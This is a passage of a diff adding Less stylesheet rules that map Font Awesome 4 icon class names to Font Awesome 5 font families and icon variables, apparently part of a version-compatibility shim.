Brands'; + font-weight: 400; +} +.@{fa-css-prefix}.@{fa-css-prefix}-facebook:before { content: @fa-var-facebook-f; } + +.@{fa-css-prefix}.@{fa-css-prefix}-facebook-f { + font-family: 'Font Awesome 5 Brands'; + font-weight: 400; +} +.@{fa-css-prefix}.@{fa-css-prefix}-facebook-f:before { content: @fa-var-facebook-f; } + +.@{fa-css-prefix}.@{fa-css-prefix}-github { + font-family: 'Font Awesome 5 Brands'; + font-weight: 400; +} + +.@{fa-css-prefix}.@{fa-css-prefix}-credit-card { + font-family: 'Font Awesome 5 Free'; + font-weight: 400; +} + +.@{fa-css-prefix}.@{fa-css-prefix}-feed:before { content: @fa-var-rss; } + +.@{fa-css-prefix}.@{fa-css-prefix}-hdd-o { + font-family: 'Font Awesome 5 Free'; + font-weight: 400; +} +.@{fa-css-prefix}.@{fa-css-prefix}-hdd-o:before { content: @fa-var-hdd; } + +.@{fa-css-prefix}.@{fa-css-prefix}-hand-o-right { + font-family: 'Font Awesome 5 Free'; + font-weight: 400; +} +.@{fa-css-prefix}.@{fa-css-prefix}-hand-o-right:before { content: @fa-var-hand-point-right; } + +.@{fa-css-prefix}.@{fa-css-prefix}-hand-o-left { + font-family: 'Font Awesome 5 Free'; + font-weight: 400; +} +.@{fa-css-prefix}.@{fa-css-prefix}-hand-o-left:before { content: @fa-var-hand-point-left; } + +.@{fa-css-prefix}.@{fa-css-prefix}-hand-o-up { + font-family: 'Font Awesome 5 Free'; + font-weight: 400; +} +.@{fa-css-prefix}.@{fa-css-prefix}-hand-o-up:before { content: @fa-var-hand-point-up; } + +.@{fa-css-prefix}.@{fa-css-prefix}-hand-o-down { + font-family: 'Font Awesome 5 Free'; + font-weight: 400; +} +.@{fa-css-prefix}.@{fa-css-prefix}-hand-o-down:before { content: @fa-var-hand-point-down; } + +.@{fa-css-prefix}.@{fa-css-prefix}-arrows-alt:before { content: @fa-var-expand-arrows-alt; } + +.@{fa-css-prefix}.@{fa-css-prefix}-group:before { content: @fa-var-users; } + +.@{fa-css-prefix}.@{fa-css-prefix}-chain:before { content: @fa-var-link; } + +.@{fa-css-prefix}.@{fa-css-prefix}-scissors:before { content: @fa-var-cut; } + +.@{fa-css-prefix}.@{fa-css-prefix}-files-o { + font-family: 'Font Awesome 5 Free'; + font-weight: 400; +} +.@{fa-css-prefix}.@{fa-css-prefix}-files-o:before { content: @fa-var-copy; } + +.@{fa-css-prefix}.@{fa-css-prefix}-floppy-o { + font-family: 'Font Awesome 5 Free'; + font-weight: 400; +} +.@{fa-css-prefix}.@{fa-css-prefix}-floppy-o:before { content: @fa-var-save; } + +.@{fa-css-prefix}.@{fa-css-prefix}-navicon:before { content: @fa-var-bars; } + +.@{fa-css-prefix}.@{fa-css-prefix}-reorder:before { content: @fa-var-bars; } + +.@{fa-css-prefix}.@{fa-css-prefix}-pinterest { + font-family: 'Font Awesome 5 Brands'; + font-weight: 400; +} + +.@{fa-css-prefix}.@{fa-css-prefix}-pinterest-square { + font-family: 'Font Awesome 5 Brands'; + font-weight: 400; +} + +.@{fa-css-prefix}.@{fa-css-prefix}-google-plus-square { + font-family: 'Font Awesome 5 Brands'; + font-weight: 400; +} + +.@{fa-css-prefix}.@{fa-css-prefix}-google-plus { + font-family: 'Font Awesome 5 Brands'; + font-weight: 400; +} +.@{fa-css-prefix}.@{fa-css-prefix}-google-plus:before { content: @fa-var-google-plus-g; } + +.@{fa-css-prefix}.@{fa-css-prefix}-money { + font-family: 'Font Awesome 5 Free'; + font-weight: 400; +} +.@{fa-css-prefix}.@{fa-css-prefix}-money:before { content: @fa-var-money-bill-alt; } + +.@{fa-css-prefix}.@{fa-css-prefix}-unsorted:before { content: @fa-var-sort; } + +.@{fa-css-prefix}.@{fa-css-prefix}-sort-desc:before { content: @fa-var-sort-down; } + +.@{fa-css-prefix}.@{fa-css-prefix}-sort-asc:before { content: @fa-var-sort-up; } + +.@{fa-css-prefix}.@{fa-css-prefix}-linkedin { + font-family: 'Font Awesome 5 Brands'; + font-weight: 400; +} +.@{fa-css-prefix}.@{fa-css-prefix}-linkedin:before { content: @fa-var-linkedin-in; } + +.@{fa-css-prefix}.@{fa-css-prefix}-rotate-left:before { content: @fa-var-undo; } + +.@{fa-css-prefix}.@{fa-css-prefix}-legal:before { content: @fa-var-gavel; } + +.@{fa-css-prefix}.@{fa-css-prefix}-tachometer:before { content: @fa-var-tachometer-alt; } + +.@{fa-css-prefix}.@{fa-css-prefix}-dashboard:before { content: @fa-var-tachometer-alt; } + +.@{fa-css-prefix}.@{fa-css-prefix}-comment-o { + font-family: 'Font Awesome 5 Free'; + font-weight: 400; +} +.@{fa-css-prefix}.@{fa-css-prefix}-comment-o:before { content: @fa-var-comment; } + +.@{fa-css-prefix}.@{fa-css-prefix}-comments-o { + font-family: 'Font Awesome 5 Free'; + font-weight: 400; +} +.@{fa-css-prefix}.@{fa-css-prefix}-comments-o:before { content: @fa-var-comments; } + +.@{fa-css-prefix}.@{fa-css-prefix}-flash:before { content: @fa-var-bolt; } + +.@{fa-css-prefix}.@{fa-css-prefix}-clipboard { + font-family: 'Font Awesome 5 Free'; + font-weight: 400; +} + +.@{fa-css-prefix}.@{fa-css-prefix}-paste { + font-family: 'Font Awesome 5 Free'; + font-weight: 400; +} +.@{fa-css-prefix}.@{fa-css-prefix}-paste:before { content: @fa-var-clipboard; } + +.@{fa-css-prefix}.@{fa-css-prefix}-lightbulb-o { + font-family: 'Font Awesome 5 Free'; + font-weight: 400; +} +.@{fa-css-prefix}.@{fa-css-prefix}-lightbulb-o:before { content: @fa-var-lightbulb; } + +.@{fa-css-prefix}.@{fa-css-prefix}-exchange:before { content: @fa-var-exchange-alt; } + +.@{fa-css-prefix}.@{fa-css-prefix}-cloud-download:before { content: @fa-var-cloud-download-alt; } + +.@{fa-css-prefix}.@{fa-css-prefix}-cloud-upload:before { content: @fa-var-cloud-upload-alt; } + +.@{fa-css-prefix}.@{fa-css-prefix}-bell-o { + font-family: 'Font Awesome 5 Free'; + font-weight: 400; +} +.@{fa-css-prefix}.@{fa-css-prefix}-bell-o:before { content: @fa-var-bell; } + +.@{fa-css-prefix}.@{fa-css-prefix}-cutlery:before { content: @fa-var-utensils; } + +.@{fa-css-prefix}.@{fa-css-prefix}-file-text-o { + font-family: 'Font Awesome 5 Free'; + font-weight: 400; +} +.@{fa-css-prefix}.@{fa-css-prefix}-file-text-o:before { content: @fa-var-file-alt; } + +.@{fa-css-prefix}.@{fa-css-prefix}-building-o { + font-family: 'Font Awesome 5 Free'; + font-weight: 400; +} +.@{fa-css-prefix}.@{fa-css-prefix}-building-o:before { content: @fa-var-building; } + +.@{fa-css-prefix}.@{fa-css-prefix}-hospital-o { + font-family: 'Font Awesome 5 Free'; + font-weight: 400; +} +.@{fa-css-prefix}.@{fa-css-prefix}-hospital-o:before { content: @fa-var-hospital; } + +.@{fa-css-prefix}.@{fa-css-prefix}-tablet:before { content: @fa-var-tablet-alt; } + +.@{fa-css-prefix}.@{fa-css-prefix}-mobile:before { content: @fa-var-mobile-alt; } + +.@{fa-css-prefix}.@{fa-css-prefix}-mobile-phone:before { content: @fa-var-mobile-alt; } + +.@{fa-css-prefix}.@{fa-css-prefix}-circle-o { + font-family: 'Font Awesome 5 Free'; + font-weight: 400; +} +.@{fa-css-prefix}.@{fa-css-prefix}-circle-o:before { content: @fa-var-circle; } + +.@{fa-css-prefix}.@{fa-css-prefix}-mail-reply:before { content: @fa-var-reply; } + +.@{fa-css-prefix}.@{fa-css-prefix}-github-alt { + font-family: 'Font Awesome 5 Brands'; + font-weight: 400; +} + +.@{fa-css-prefix}.@{fa-css-prefix}-folder-o { + font-family: 'Font Awesome 5 Free'; + font-weight: 400; +} +.@{fa-css-prefix}.@{fa-css-prefix}-folder-o:before { content: @fa-var-folder; } + +.@{fa-css-prefix}.@{fa-css-prefix}-folder-open-o { + font-family: 'Font Awesome 5 Free'; + font-weight: 400; +} +.@{fa-css-prefix}.@{fa-css-prefix}-folder-open-o:before { content: @fa-var-folder-open; } + +.@{fa-css-prefix}.@{fa-css-prefix}-smile-o { + font-family: 'Font Awesome 5 Free'; + font-weight: 400; +} +.@{fa-css-prefix}.@{fa-css-prefix}-smile-o:before { content: @fa-var-smile; } + +.@{fa-css-prefix}.@{fa-css-prefix}-frown-o { + font-family: 'Font Awesome 5 Free'; + font-weight: 400; +} +.@{fa-css-prefix}.@{fa-css-prefix}-frown-o:before { content: @fa-var-frown; } + +.@{fa-css-prefix}.@{fa-css-prefix}-meh-o { + font-family: 'Font Awesome 5 Free'; + font-weight: 400; +} +.@{fa-css-prefix}.@{fa-css-prefix}-meh-o:before { content: @fa-var-meh; } + +.@{fa-css-prefix}.@{fa-css-prefix}-keyboard-o { + font-family: 'Font Awesome 5 Free'; + font-weight: 400; +} +.@{fa-css-prefix}.@{fa-css-prefix}-keyboard-o:before { content: @fa-var-keyboard; } + +.@{fa-css-prefix}.@{fa-css-prefix}-flag-o { + font-family: 'Font Awesome 5 Free'; + font-weight: 400; +} +.@{fa-css-prefix}.@{fa-css-prefix}-flag-o:before { content: @fa-var-flag; } + +.@{fa-css-prefix}.@{fa-css-prefix}-mail-reply-all:before { content: @fa-var-reply-all; } + +.@{fa-css-prefix}.@{fa-css-prefix}-star-half-o { + font-family: 'Font Awesome 5 Free'; + font-weight: 400; +} +.@{fa-css-prefix}.@{fa-css-prefix}-star-half-o:before { content: @fa-var-star-half; } + +.@{fa-css-prefix}.@{fa-css-prefix}-star-half-empty { + font-family: 'Font Awesome 5 Free'; + font-weight: 400; +} +.@{fa-css-prefix}.@{fa-css-prefix}-star-half-empty:before { content: @fa-var-star-half; } + +.@{fa-css-prefix}.@{fa-css-prefix}-star-half-full { + font-family: 'Font Awesome 5 Free'; + font-weight: 400; +} +.@{fa-css-prefix}.@{fa-css-prefix}-star-half-full:before { content: @fa-var-star-half; } + +.@{fa-css-prefix}.@{fa-css-prefix}-code-fork:before { content: @fa-var-code-branch; } + +.@{fa-css-prefix}.@{fa-css-prefix}-chain-broken:before { content: @fa-var-unlink; } + +.@{fa-css-prefix}.@{fa-css-prefix}-shield:before { content: @fa-var-shield-alt; } + +.@{fa-css-prefix}.@{fa-css-prefix}-calendar-o { + font-family: 'Font Awesome 5 Free'; + font-weight: 400; +} +.@{fa-css-prefix}.@{fa-css-prefix}-calendar-o:before { content: @fa-var-calendar; } + +.@{fa-css-prefix}.@{fa-css-prefix}-maxcdn { + font-family: 'Font Awesome 5 Brands'; + font-weight: 400; +} + +.@{fa-css-prefix}.@{fa-css-prefix}-html5 { + font-family: 'Font Awesome 5 Brands'; + font-weight: 400; +} + +.@{fa-css-prefix}.@{fa-css-prefix}-css3 { + font-family: 'Font Awesome 5 Brands'; + font-weight: 400; +} + +.@{fa-css-prefix}.@{fa-css-prefix}-ticket:before { content: @fa-var-ticket-alt; } + +.@{fa-css-prefix}.@{fa-css-prefix}-minus-square-o { + font-family: 'Font Awesome 5 Free'; + font-weight: 400; +} +.@{fa-css-prefix}.@{fa-css-prefix}-minus-square-o:before { content: @fa-var-minus-square; } + +.@{fa-css-prefix}.@{fa-css-prefix}-level-up:before { content: @fa-var-level-up-alt; } + +.@{fa-css-prefix}.@{fa-css-prefix}-level-down:before { content: @fa-var-level-down-alt; } + +.@{fa-css-prefix}.@{fa-css-prefix}-pencil-square:before { content: @fa-var-pen-square; } + +.@{fa-css-prefix}.@{fa-css-prefix}-external-link-square:before { content: @fa-var-external-link-square-alt; } + +.@{fa-css-prefix}.@{fa-css-prefix}-compass { + font-family: 'Font Awesome 5 Free'; + font-weight: 400; +} + +.@{fa-css-prefix}.@{fa-css-prefix}-caret-square-o-down { + font-family: 'Font Awesome 5 Free'; + font-weight: 400; +} +.@{fa-css-prefix}.@{fa-css-prefix}-caret-square-o-down:before { content: @fa-var-caret-square-down; } + +.@{fa-css-prefix}.@{fa-css-prefix}-toggle-down { + font-family: 'Font Awesome 5 Free'; + font-weight: 400; +} +.@{fa-css-prefix}.@{fa-css-prefix}-toggle-down:before { content: @fa-var-caret-square-down; } + +.@{fa-css-prefix}.@{fa-css-prefix}-caret-square-o-up { + font-family: 'Font Awesome 5 Free'; + font-weight: 400; +} +.@{fa-css-prefix}.@{fa-css-prefix}-caret-square-o-up:before { content: @fa-var-caret-square-up; } + +.@{fa-css-prefix}.@{fa-css-prefix}-toggle-up { + font-family: 'Font Awesome 5 Free'; + font-weight: 400; +} +.@{fa-css-prefix}.@{fa-css-prefix}-toggle-up:before { content: @fa-var-caret-square-up; } + +.@{fa-css-prefix}.@{fa-css-prefix}-caret-square-o-right { + font-family: 'Font Awesome 5 Free'; + font-weight: 400; +} +.@{fa-css-prefix}.@{fa-css-prefix}-caret-square-o-right:before { content: @fa-var-caret-square-right; } + +.@{fa-css-prefix}.@{fa-css-prefix}-toggle-right { + font-family: 'Font Awesome 5 Free'; + font-weight: 400; +} +.@{fa-css-prefix}.@{fa-css-prefix}-toggle-right:before { content: @fa-var-caret-square-right; } + +.@{fa-css-prefix}.@{fa-css-prefix}-eur:before { content: @fa-var-euro-sign; } + +.@{fa-css-prefix}.@{fa-css-prefix}-euro:before { content: @fa-var-euro-sign; } + +.@{fa-css-prefix}.@{fa-css-prefix}-gbp:before { content: @fa-var-pound-sign; } + +.@{fa-css-prefix}.@{fa-css-prefix}-usd:before { content: @fa-var-dollar-sign; } + +.@{fa-css-prefix}.@{fa-css-prefix}-dollar:before { content: @fa-var-dollar-sign; } + +.@{fa-css-prefix}.@{fa-css-prefix}-inr:before { content: @fa-var-rupee-sign; } + +.@{fa-css-prefix}.@{fa-css-prefix}-rupee:before { content: @fa-var-rupee-sign; } + +.@{fa-css-prefix}.@{fa-css-prefix}-jpy:before { content: @fa-var-yen-sign; } + +.@{fa-css-prefix}.@{fa-css-prefix}-cny:before { content: @fa-var-yen-sign; } + +.@{fa-css-prefix}.@{fa-css-prefix}-rmb:before { content: @fa-var-yen-sign; } + +.@{fa-css-prefix}.@{fa-css-prefix}-yen:before { content: @fa-var-yen-sign; } + +.@{fa-css-prefix}.@{fa-css-prefix}-rub:before { content: @fa-var-ruble-sign; } + +.@{fa-css-prefix}.@{fa-css-prefix}-ruble:before { content: @fa-var-ruble-sign; } + +.@{fa-css-prefix}.@{fa-css-prefix}-rouble:before { content: @fa-var-ruble-sign; } + +.@{fa-css-prefix}.@{fa-css-prefix}-krw:before { content: @fa-var-won-sign; } + +.@{fa-css-prefix}.@{fa-css-prefix}-won:before { content: @fa-var-won-sign; } + +.@{fa-css-prefix}.@{fa-css-prefix}-btc { + font-family: 'Font Awesome 5 Brands'; + font-weight: 400; +} + +.@{fa-css-prefix}.@{fa-css-prefix}-bitcoin { + font-family: 'Font Awesome 5 Brands'; + font-weight: 400; +} +.@{fa-css-prefix}.@{fa-css-prefix}-bitcoin:before { content: @fa-var-btc; } + +.@{fa-css-prefix}.@{fa-css-prefix}-file-text:before { content: @fa-var-file-alt; } + +.@{fa-css-prefix}.@{fa-css-prefix}-sort-alpha-asc:before { content: @fa-var-sort-alpha-down; } + +.@{fa-css-prefix}.@{fa-css-prefix}-sort-alpha-desc:before { content: @fa-var-sort-alpha-down-alt; } + +.@{fa-css-prefix}.@{fa-css-prefix}-sort-amount-asc:before { content: @fa-var-sort-amount-down; } + +.@{fa-css-prefix}.@{fa-css-prefix}-sort-amount-desc:before { content: @fa-var-sort-amount-down-alt; } + +.@{fa-css-prefix}.@{fa-css-prefix}-sort-numeric-asc:before { content: @fa-var-sort-numeric-down; } + +.@{fa-css-prefix}.@{fa-css-prefix}-sort-numeric-desc:before { content: @fa-var-sort-numeric-down-alt; } + +.@{fa-css-prefix}.@{fa-css-prefix}-youtube-square { + font-family: 'Font Awesome 5 Brands'; + font-weight: 400; +} + +.@{fa-css-prefix}.@{fa-css-prefix}-youtube { + font-family: 'Font Awesome 5 Brands'; + font-weight: 400; +} + +.@{fa-css-prefix}.@{fa-css-prefix}-xing { + font-family: 'Font Awesome 5 Brands'; + font-weight: 400; +} + +.@{fa-css-prefix}.@{fa-css-prefix}-xing-square { + font-family: 'Font Awesome 5 Brands'; + font-weight: 400; +} + +.@{fa-css-prefix}.@{fa-css-prefix}-youtube-play { + font-family: 'Font Awesome 5 Brands'; + font-weight: 400; +} +.@{fa-css-prefix}.@{fa-css-prefix}-youtube-play:before { content: @fa-var-youtube; } + +.@{fa-css-prefix}.@{fa-css-prefix}-dropbox { + font-family: 'Font Awesome 5 Brands'; + font-weight: 400; +} + +.@{fa-css-prefix}.@{fa-css-prefix}-stack-overflow { + font-family: 'Font Awesome 5 Brands'; + font-weight: 400; +} + +.@{fa-css-prefix}.@{fa-css-prefix}-instagram { + font-family: 'Font Awesome 5 Brands'; + font-weight: 400; +} + +.@{fa-css-prefix}.@{fa-css-prefix}-flickr { + font-family: 'Font Awesome 5 Brands'; + font-weight: 400; +} + +.@{fa-css-prefix}.@{fa-css-prefix}-adn { + font-family: 'Font Awesome 5 Brands'; + font-weight: 400; +} + +.@{fa-css-prefix}.@{fa-css-prefix}-bitbucket { + font-family: 'Font Awesome 5 Brands'; + font-weight: 400; +} + +.@{fa-css-prefix}.@{fa-css-prefix}-bitbucket-square { + font-family: 'Font Awesome 5 Brands'; + font-weight: 400; +} +.@{fa-css-prefix}.@{fa-css-prefix}-bitbucket-square:before { content: @fa-var-bitbucket; } + +.@{fa-css-prefix}.@{fa-css-prefix}-tumblr { + font-family: 'Font Awesome 5 Brands'; + font-weight: 400; +} + +.@{fa-css-prefix}.@{fa-css-prefix}-tumblr-square { + font-family: 'Font Awesome 5 Brands'; + font-weight: 400; +} + +.@{fa-css-prefix}.@{fa-css-prefix}-long-arrow-down:before { content: @fa-var-long-arrow-alt-down; } + +.@{fa-css-prefix}.@{fa-css-prefix}-long-arrow-up:before { content: @fa-var-long-arrow-alt-up; } + +.@{fa-css-prefix}.@{fa-css-prefix}-long-arrow-left:before { content: @fa-var-long-arrow-alt-left; } + +.@{fa-css-prefix}.@{fa-css-prefix}-long-arrow-right:before { content: @fa-var-long-arrow-alt-right; } + +.@{fa-css-prefix}.@{fa-css-prefix}-apple { + font-family: 'Font Awesome 5 Brands'; + font-weight: 400; +} + +.@{fa-css-prefix}.@{fa-css-prefix}-windows { + font-family: 'Font Awesome 5 Brands'; + font-weight: 400; +} + +.@{fa-css-prefix}.@{fa-css-prefix}-android { + font-family: 'Font Awesome 5 Brands'; + font-weight: 400; +} + +.@{fa-css-prefix}.@{fa-css-prefix}-linux { + font-family: 'Font Awesome 5 Brands'; + font-weight: 400; +} + +.@{fa-css-prefix}.@{fa-css-prefix}-dribbble { + font-family: 'Font Awesome 5 Brands'; + font-weight: 400; +} + +.@{fa-css-prefix}.@{fa-css-prefix}-skype { + font-family: 'Font Awesome 5 Brands'; + font-weight: 400; +} + +.@{fa-css-prefix}.@{fa-css-prefix}-foursquare { + font-family: 'Font Awesome 5 Brands'; + font-weight: 400; +} + +.@{fa-css-prefix}.@{fa-css-prefix}-trello { + font-family: 'Font Awesome 5 Brands'; + font-weight: 400; +} + +.@{fa-css-prefix}.@{fa-css-prefix}-gratipay { + font-family: 'Font Awesome 5 Brands'; + font-weight: 400; +} + +.@{fa-css-prefix}.@{fa-css-prefix}-gittip { + font-family: 'Font Awesome 5 Brands'; + font-weight: 400; +} +.@{fa-css-prefix}.@{fa-css-prefix}-gittip:before { content: @fa-var-gratipay; } + +.@{fa-css-prefix}.@{fa-css-prefix}-sun-o { + font-family: 'Font Awesome 5 Free'; + font-weight: 400; +} +.@{fa-css-prefix}.@{fa-css-prefix}-sun-o:before { content: @fa-var-sun; } + +.@{fa-css-prefix}.@{fa-css-prefix}-moon-o { + font-family: 'Font Awesome 5 Free'; + font-weight: 400; +} +.@{fa-css-prefix}.@{fa-css-prefix}-moon-o:before { content: @fa-var-moon; } + +.@{fa-css-prefix}.@{fa-css-prefix}-vk { + font-family: 'Font Awesome 5 Brands'; + font-weight: 400; +} + +.@{fa-css-prefix}.@{fa-css-prefix}-weibo { + font-family: 'Font Awesome 5 Brands'; + font-weight: 400; +} + +.@{fa-css-prefix}.@{fa-css-prefix}-renren { + font-family: 'Font Awesome 5 Brands'; + font-weight: 400; +} + +.@{fa-css-prefix}.@{fa-css-prefix}-pagelines { + font-family: 'Font Awesome 5 Brands'; + font-weight: 400; +} + +.@{fa-css-prefix}.@{fa-css-prefix}-stack-exchange { + font-family: 'Font Awesome 5 Brands'; + font-weight: 400; +} + +.@{fa-css-prefix}.@{fa-css-prefix}-arrow-circle-o-right { + font-family: 'Font Awesome 5 Free'; + font-weight: 400; +} +.@{fa-css-prefix}.@{fa-css-prefix}-arrow-circle-o-right:before { content: @fa-var-arrow-alt-circle-right; } + +.@{fa-css-prefix}.@{fa-css-prefix}-arrow-circle-o-left { + font-family: 'Font Awesome 5 Free'; + font-weight: 400; +} +.@{fa-css-prefix}.@{fa-css-prefix}-arrow-circle-o-left:before { content: @fa-var-arrow-alt-circle-left; } + +.@{fa-css-prefix}.@{fa-css-prefix}-caret-square-o-left { + font-family: 'Font Awesome 5 Free'; + font-weight: 400; +} +.@{fa-css-prefix}.@{fa-css-prefix}-caret-square-o-left:before { content: @fa-var-caret-square-left; } + +.@{fa-css-prefix}.@{fa-css-prefix}-toggle-left { + font-family: 'Font Awesome 5 Free'; + font-weight: 400; +} +.@{fa-css-prefix}.@{fa-css-prefix}-toggle-left:before { content: @fa-var-caret-square-left; } + +.@{fa-css-prefix}.@{fa-css-prefix}-dot-circle-o { + font-family: 'Font Awesome 5 Free'; + font-weight: 400; +} +.@{fa-css-prefix}.@{fa-css-prefix}-dot-circle-o:before { content: @fa-var-dot-circle; } + +.@{fa-css-prefix}.@{fa-css-prefix}-vimeo-square { + font-family: 'Font Awesome 5 Brands'; + font-weight: 400; +} + +.@{fa-css-prefix}.@{fa-css-prefix}-try:before { content: @fa-var-lira-sign; } + +.@{fa-css-prefix}.@{fa-css-prefix}-turkish-lira:before { content: @fa-var-lira-sign; } + +.@{fa-css-prefix}.@{fa-css-prefix}-plus-square-o { + font-family: 'Font Awesome 5 Free'; + font-weight: 400; +} +.@{fa-css-prefix}.@{fa-css-prefix}-plus-square-o:before { content: @fa-var-plus-square; } + +.@{fa-css-prefix}.@{fa-css-prefix}-slack { + font-family: 'Font Awesome 5 Brands'; + font-weight: 400; +} + +.@{fa-css-prefix}.@{fa-css-prefix}-wordpress { + font-family: 'Font Awesome 5 Brands'; + font-weight: 400; +} + +.@{fa-css-prefix}.@{fa-css-prefix}-openid { + font-family: 'Font Awesome 5 Brands'; + font-weight: 400; +} + +.@{fa-css-prefix}.@{fa-css-prefix}-institution:before { content: @fa-var-university; } + +.@{fa-css-prefix}.@{fa-css-prefix}-bank:before { content: @fa-var-university; } + +.@{fa-css-prefix}.@{fa-css-prefix}-mortar-board:before { content: @fa-var-graduation-cap; } + +.@{fa-css-prefix}.@{fa-css-prefix}-yahoo { + font-family: 'Font Awesome 5 Brands'; + font-weight: 400; +} + +.@{fa-css-prefix}.@{fa-css-prefix}-google { + font-family: 'Font Awesome 5 Brands'; + font-weight: 400; +} + +.@{fa-css-prefix}.@{fa-css-prefix}-reddit { + font-family: 'Font Awesome 5 Brands'; + font-weight: 400; +} + +.@{fa-css-prefix}.@{fa-css-prefix}-reddit-square { + font-family: 'Font Awesome 5 Brands'; + font-weight: 400; +} + +.@{fa-css-prefix}.@{fa-css-prefix}-stumbleupon-circle { + font-family: 'Font Awesome 5 Brands'; + font-weight: 400; +} + +.@{fa-css-prefix}.@{fa-css-prefix}-stumbleupon { + font-family: 'Font Awesome 5 Brands'; + font-weight: 400; +} + +.@{fa-css-prefix}.@{fa-css-prefix}-delicious { + font-family: 'Font Awesome 5 Brands'; + font-weight: 400; +} + +.@{fa-css-prefix}.@{fa-css-prefix}-digg { + font-family: 'Font Awesome 5 Brands'; + font-weight: 400; +} + +.@{fa-css-prefix}.@{fa-css-prefix}-pied-piper-pp { + font-family: 'Font Awesome 5 Brands'; + font-weight: 400; +} + +.@{fa-css-prefix}.@{fa-css-prefix}-pied-piper-alt { + font-family: 'Font Awesome 5 Brands'; + font-weight: 400; +} + +.@{fa-css-prefix}.@{fa-css-prefix}-drupal { + font-family: 'Font Awesome 5 Brands'; + font-weight: 400; +} + +.@{fa-css-prefix}.@{fa-css-prefix}-joomla { + font-family: 'Font Awesome 5 Brands'; + font-weight: 400; +} + +.@{fa-css-prefix}.@{fa-css-prefix}-spoon:before { content: @fa-var-utensil-spoon; } + +.@{fa-css-prefix}.@{fa-css-prefix}-behance { + font-family: 'Font Awesome 5 Brands'; + font-weight: 400; +} + +.@{fa-css-prefix}.@{fa-css-prefix}-behance-square { + font-family: 'Font Awesome 5 Brands'; + font-weight: 400; +} + +.@{fa-css-prefix}.@{fa-css-prefix}-steam { + font-family: 'Font Awesome 5 Brands'; + font-weight: 400; +} + +.@{fa-css-prefix}.@{fa-css-prefix}-steam-square { + font-family: 'Font Awesome 5 Brands'; + font-weight: 400; +} + +.@{fa-css-prefix}.@{fa-css-prefix}-automobile:before { content: @fa-var-car; } + +.@{fa-css-prefix}.@{fa-css-prefix}-envelope-o { + font-family: 'Font Awesome 5 Free'; + font-weight: 400; +} +.@{fa-css-prefix}.@{fa-css-prefix}-envelope-o:before { content: @fa-var-envelope; } + +.@{fa-css-prefix}.@{fa-css-prefix}-spotify { + font-family: 'Font Awesome 5 Brands'; + font-weight: 400; +} + +.@{fa-css-prefix}.@{fa-css-prefix}-deviantart { + font-family: 'Font Awesome 5 Brands'; + font-weight: 400; +} + +.@{fa-css-prefix}.@{fa-css-prefix}-soundcloud { + font-family: 'Font Awesome 5 Brands'; + font-weight: 400; +} + +.@{fa-css-prefix}.@{fa-css-prefix}-file-pdf-o { + font-family: 'Font Awesome 5 Free'; + font-weight: 400; +} +.@{fa-css-prefix}.@{fa-css-prefix}-file-pdf-o:before { content: @fa-var-file-pdf; } + +.@{fa-css-prefix}.@{fa-css-prefix}-file-word-o { + font-family: 'Font Awesome 5 Free'; + font-weight: 400; +} +.@{fa-css-prefix}.@{fa-css-prefix}-file-word-o:before { content: @fa-var-file-word; } + +.@{fa-css-prefix}.@{fa-css-prefix}-file-excel-o { + font-family: 'Font Awesome 5 Free'; + font-weight: 400; +} +.@{fa-css-prefix}.@{fa-css-prefix}-file-excel-o:before { content: @fa-var-file-excel; } + +.@{fa-css-prefix}.@{fa-css-prefix}-file-powerpoint-o { + font-family: 'Font Awesome 5 Free'; + font-weight: 400; +} +.@{fa-css-prefix}.@{fa-css-prefix}-file-powerpoint-o:before { content: @fa-var-file-powerpoint; } + +.@{fa-css-prefix}.@{fa-css-prefix}-file-image-o { + font-family: 'Font Awesome 5 Free'; + font-weight: 400; +} +.@{fa-css-prefix}.@{fa-css-prefix}-file-image-o:before { content: @fa-var-file-image; } + +.@{fa-css-prefix}.@{fa-css-prefix}-file-photo-o { + font-family: 'Font Awesome 5 Free'; + font-weight: 400; +} +.@{fa-css-prefix}.@{fa-css-prefix}-file-photo-o:before { content: @fa-var-file-image; } + +.@{fa-css-prefix}.@{fa-css-prefix}-file-picture-o { + font-family: 'Font Awesome 5 Free'; + font-weight: 400; +} +.@{fa-css-prefix}.@{fa-css-prefix}-file-picture-o:before { content: @fa-var-file-image; } + +.@{fa-css-prefix}.@{fa-css-prefix}-file-archive-o { + font-family: 'Font Awesome 5 Free'; + font-weight: 400; +} +.@{fa-css-prefix}.@{fa-css-prefix}-file-archive-o:before { content: @fa-var-file-archive; } + +.@{fa-css-prefix}.@{fa-css-prefix}-file-zip-o { + font-family: 'Font Awesome 5 Free'; + font-weight: 400; +} +.@{fa-css-prefix}.@{fa-css-prefix}-file-zip-o:before { content: @fa-var-file-archive; } + +.@{fa-css-prefix}.@{fa-css-prefix}-file-audio-o { + font-family: 'Font Awesome 5 Free'; + font-weight: 400; +} +.@{fa-css-prefix}.@{fa-css-prefix}-file-audio-o:before { content: @fa-var-file-audio; } + +.@{fa-css-prefix}.@{fa-css-prefix}-file-sound-o { + font-family: 'Font Awesome 5 Free'; + font-weight: 400; +} +.@{fa-css-prefix}.@{fa-css-prefix}-file-sound-o:before { content: @fa-var-file-audio; } + +.@{fa-css-prefix}.@{fa-css-prefix}-file-video-o { + font-family: 'Font Awesome 5 Free'; + font-weight: 400; +} +.@{fa-css-prefix}.@{fa-css-prefix}-file-video-o:before { content: @fa-var-file-video; } + +.@{fa-css-prefix}.@{fa-css-prefix}-file-movie-o { + font-family: 'Font Awesome 5 Free'; + font-weight: 400; +} +.@{fa-css-prefix}.@{fa-css-prefix}-file-movie-o:before { content: @fa-var-file-video; } + +.@{fa-css-prefix}.@{fa-css-prefix}-file-code-o { + font-family: 'Font Awesome 5 Free'; + font-weight: 400; +} +.@{fa-css-prefix}.@{fa-css-prefix}-file-code-o:before { content: @fa-var-file-code; } + +.@{fa-css-prefix}.@{fa-css-prefix}-vine { + font-family: 'Font Awesome 5 Brands'; + font-weight: 400; +} + +.@{fa-css-prefix}.@{fa-css-prefix}-codepen { + font-family: 'Font Awesome 5 Brands'; + font-weight: 400; +} + +.@{fa-css-prefix}.@{fa-css-prefix}-jsfiddle { + font-family: 'Font Awesome 5 Brands'; + font-weight: 400; +} + +.@{fa-css-prefix}.@{fa-css-prefix}-life-ring { + font-family: 'Font Awesome 5 Free'; + font-weight: 400; +} + +.@{fa-css-prefix}.@{fa-css-prefix}-life-bouy { + font-family: 'Font Awesome 5 Free'; + font-weight: 400; +} +.@{fa-css-prefix}.@{fa-css-prefix}-life-bouy:before { content: @fa-var-life-ring; } + +.@{fa-css-prefix}.@{fa-css-prefix}-life-buoy { + font-family: 'Font Awesome 5 Free'; + font-weight: 400; +} 